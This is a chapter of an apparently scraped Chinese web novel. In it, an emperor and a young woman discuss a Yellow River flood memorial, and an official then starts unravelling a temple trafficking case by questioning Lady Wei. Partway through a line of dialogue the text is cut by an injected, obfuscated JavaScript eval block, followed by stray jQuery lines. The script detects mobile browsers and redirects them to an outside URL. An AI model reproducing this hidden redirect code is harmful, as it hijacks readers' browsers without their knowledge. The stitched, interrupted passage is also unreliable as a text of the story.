37. 道明寺18

作品:《说好的言情怎么干悬疑去了

    这句话好像是戳中了令玉京什么敏感的神经,他扔掉筷子,又开始看她,道:“明日休沐。”


    “哦哦,那就好。”赵乔见他不乐意吃,就给他盛了碗甜汤:“您明日要去听案件结尾吗?”


    令玉京看着眼前的瓷白碗,语气幽幽感叹:“你是怎么精准的挑中所有难吃的。”


    赵乔扭头就道:“听见没和平公公,陛下说了要精进伙食!”


    被殃及的和平公公哎呦喂的弯下腰:“陛下说了要些清淡的,这这……”着实是平日里陛下除了与睡觉有关的外无甚喜好啊!


    令玉京也有些惊讶,他问道:“以前没说过这种东西难吃吗?”


    和平公公弯腰低头,不敢直白着说没有,又不敢不回复:“是老奴耳朵不好,陛下恕罪!”


    “记得每次都说……怪不得。”令玉京没了吃饭的兴致,倒回榻上,不情不愿的拿起脚踏边的折子看起来。


    这是什么灵异事件?赵乔一时间忘记咀嚼,腮帮子圆润的鼓起。


    没了碰撞声和松鼠啃粮的声音,令玉京歪头看情况,对上她呆滞的眼,了然:“你也觉得不好吃,那别吃了,上来睡觉。”


    啊?她觉得饭不好吃?她怎么不知道。


    赵乔磨磨唧唧的又扒拉了两口饭,洗漱过后爬上床榻里侧。原本是在外侧的,令玉京一把把她推里面了,应该是睡外面有碍他拿奏折。


    迷迷糊糊的时候,赵乔含糊不清的问:“陛下是不是早就知道道明寺的事情?”


    令玉京此时斜靠在床栏上,右手执朱笔,闻言手上未停:“你问的是江氏女还是王楚儿。”


    侧了个身,赵乔清醒了一点点,用手垫着头:“江氏女是谁?还有没出场的人物?”


    “怀远侯夫人。”


    “哦,是她啊。”赵乔平躺好,双手安详的置于腹部:“都问吧。”


    周围安静的厉害,和平公公也早就出去了,一块小小的墨色砚台和朱砂块摆在令玉京手边。


    烛火炸了一下,火苗晃动。令玉京写下待议,才回答她:“不知道。”


    不知道你分个什么劲儿的类,炫耀你知道怀远侯夫人姓江吗?赵乔在心里骂骂咧咧。


    “不过可以知道。”他又说。


    是啊,他是皇帝,有人有钱有权,想知道的都可以知道,可偏偏这个概念神本人没有知道的意识。


    赵乔:“那您现在知道了有什么看法?”


    令玉京:“没有什么看法。”


    赵乔双手叠起垫着后脑勺,把床顶当星空顶看:“没看法是什么看法。”


    “该有什么看法?”他反问。


    赵乔认真细数情绪词:“愤怒,悲悯,同情……这样。”


    令玉京将他手中那个批了待议的折子竖在赵乔眼前:“你有什么看法。”


    突然感到半眯起的眼前一暗的赵乔清醒了一些,坐起身接过,识相的先问:“那个,臣女看折子这没问题吧?”


    令玉京颔首。


    这是封写黄河恐将决堤的折子,字越少,事越大。今年雨多雨急,三两句话州县长官就将可能的流民和减产说清楚,请求开仓。黄河现在还没决堤,但折子不会瞬移,来回都需要时间,留审和讨论也需要时间。


    在没有监控和视频的时代,这份程序正义在政治上是必不可少的。


    对于令玉京的问题……赵乔没什么看法。焦急吗?好像也没有,二维的文字就算是白描也需要前置的铺垫才能调动起读者的情绪。


    对赵乔来说,这是远方的哭声,道明寺的事情是近处的哭声,听见的哭声和看见一个痛苦绝望的人在眼前哭出血泪是截然不同的。


    并非怀远侯夫人这些事情对祯和帝来说遥远,恰恰相反,这些太近了,就像是潜伏在祯和帝身体里的病毒,眼睛中的飞蚊症,它们开始时无伤性命,但是一点点积累起来会摧毁这具肉身。


    但是偏偏,祯和帝此时手里拿着一封黄河决堤的折子,滔滔洪水近在眼前,下一秒就要扑过来吞噬,这个时候你问他:“请问你对你眼睛疼有什么看法?”


    确实是……没什么看法。你能说他帝王冷血吗?确实如此,你能做的比他更好吗?不可能。


    先帝留下的烂摊子太大了。


    “唉。”赵乔叹了口气:“原本说邀请您来看戏,臣女以为是王子复仇记,没想到是……不过您也没看着。”被困在山上,批了一天的折子,度假变加班,搁谁都生无可恋。


    令玉京想了想,道:“也还好。”都一样。


    话到此处也没什么好说的,赵乔打了个哈欠,准备入眠,突然,她直直坐起来。


    令玉京被烛火映衬的昏黄的面容有些不解。


    “差点儿忘了。”赵乔唤来百灵和岁饶小声吩咐了什么,才再次安心的躺下。


    “做了什么?”意识不清晰间,清冽的声音在耳畔低低响起。


    “履行诺言。”


    ……


    赵乔不知道令玉京什么时候睡的,或者睡没睡,反正她醒来的时候这人就不在屋子里了,桌子上是送来的早膳。


    百灵和岁饶进来伺候她洗漱。当初把百灵要来,就是因为她是个很稳的姑娘,掩藏情绪的手法或许拙劣,但已有雏形。就比如现在,她知道与赵乔同床共枕的是个是男人,但她从不好奇那人是谁。


    赵乔拿起桌子上令玉京留给她的字条。


    “又使唤人。”


    很快,纪风来挨个敲门,邀请女眷们去往厨房,也就是王管事失踪的那间房间,他会在那里把这两天一夜的惊魂解释清楚。


    在场的女子除了玩猫的赵乔之外都感到惊讶,季婷道:“我以为会去金佛大殿呢。”


    魏夫人被一个小丫头搀扶着,面容有脂粉遮不住的倦容,但眼睛很亮,精神气倒是很足。可是魏夫人却拒绝了纪风。


    “听闻下山的路已经修好了,我和女儿无意真相,这便要下去了,家中夫君恐要忧心。”


    “魏夫人不用着急。”赵乔朱唇微弯:“魏大人实在是个爱重妻子,宠溺女儿的人,当然,他也有一点点的好奇心。”


    魏夫人表情渐渐由疑问变为凝重,第一次用了不太客气的语气:“不知赵大小姐是什么意思?”


    这句话在揣着明白装糊涂领域真的是一骑绝尘,赵乔写书的时候这句话要么是当打脸用,要么干脆是当调情用。


    对于这句被动触发的问句,赵乔心累面上却把从容而神秘表现的淋漓尽致:“字面意思,魏夫人最好不要拒绝纪风的提议,说不定魏大人也在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130899|194513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那间房间等您呢。”


    魏夫人脸色不太好看,但还是什么都没说。


    她们应该是第二波赶到的,屋里除了商时序外,六阿婆和孟晓东也在。未见到魏大人的身影,魏夫人有种被戏耍的感觉,恼怒准备开口,却被身边的魏小姐制止了。


    季如舟姗姗来迟,一脚绊在门槛上:“哎呦喂!昨天就差点绊倒。”


    他抱着自己的折扇和众人站在一起:“揭秘为何要选在此处?按顺序讲应去金佛大殿才对。”


    “因为商大人就没打算按顺序讲,对吧?”赵乔笑眯眯着说。


    商时序应是:“的确,两天一夜不算很长,却发生了无数的故事,昨夜我在房中一一捋过,觉得从这里开始最为恰当。”


    “因为在这个故事中,第一个死去的,不是李氏,而是怀远侯夫人。”


    众人都表现得惊讶极了。


    商时序刻意停顿稍许,目光掠过所有人的面部表情,继续道:“用赵大小姐的话说就是,前天晚上真的是非常热闹的一夜。”


    莫名被提起的赵乔抱着猫煞有介事的点头表示认可:“那晚在场的所有人都没有老老实实待在屋子里哦~”


    “魏夫人。”


    被点到名字的魏夫人整个人都摇晃了一瞬。


    商时序礼貌询问:“您那一夜去了哪里呢?”


    “我,我去怀远侯夫人的房间想查看情况,却看见隔了一个的房间门开着,刚进去就看见侯夫人的丫鬟倒地不起,然后我也没意识了。”


    商时序点头笑了:“据醒来的怀远侯夫人的丫鬟所说,她原本是在那间屋子看守暗道的,后来就感觉到脖颈一阵剧痛,随即不省人事,并没有看到是何人行凶。”


    几不可闻的,魏夫人松了一口气:“既……”


    “但是您的脖颈并没有伤口。”商时序淡淡道:“甚至从暗道将您救出之时,你的脉搏依旧沉稳有力,比和您一起的小丫鬟还要康健一些。”


    “起初,在得知道明寺在联合上洼村做女子买卖时,本官怀疑夫人也是如此。不过很快就打消了这个想法,那些人贩子人性泯灭,又怎么会放过那个已经失去了反抗能力的小丫头呢?”


    “所以,魏夫人您在那夜应该全程都是清醒的。能告诉所有人发生了什么吗?”


    魏夫人保持缄默,闭口不言。


    但是她的闭口不言却让商时序确认了一件事,他似是不明:“昨天下午魏夫人和魏小姐都未同我等一起去上洼村,可是对于两地做女子买卖这件事,好像一点都不惊讶。”


    得不到答案是在意料之中,商时序无意逼问,直接道:“那个小丫头是您打晕的吧。”


    “魏小姐在昨天中午的坦白简直是一塌糊涂,话中不仅你们的来意和之前所述前后矛盾,而且也完全不合情理。”


    “试问有哪位爱护女儿的母亲会让其孤身一身在雨夜尾随一位明摆着有秘密在身的贵妇人呢?而且魏小姐在陈述时说魏夫人让其‘赶上’,但魏小姐全程连叫住怀远侯夫人的举动都无,这难道不奇怪吗?”


    “唯一的解释是,魏小姐此行本身的目的就是为了跟踪怀远侯夫人。”


    “并且与此同时,她的母亲,魏夫人您,也必定在做一件相比跟踪更危险的事情。”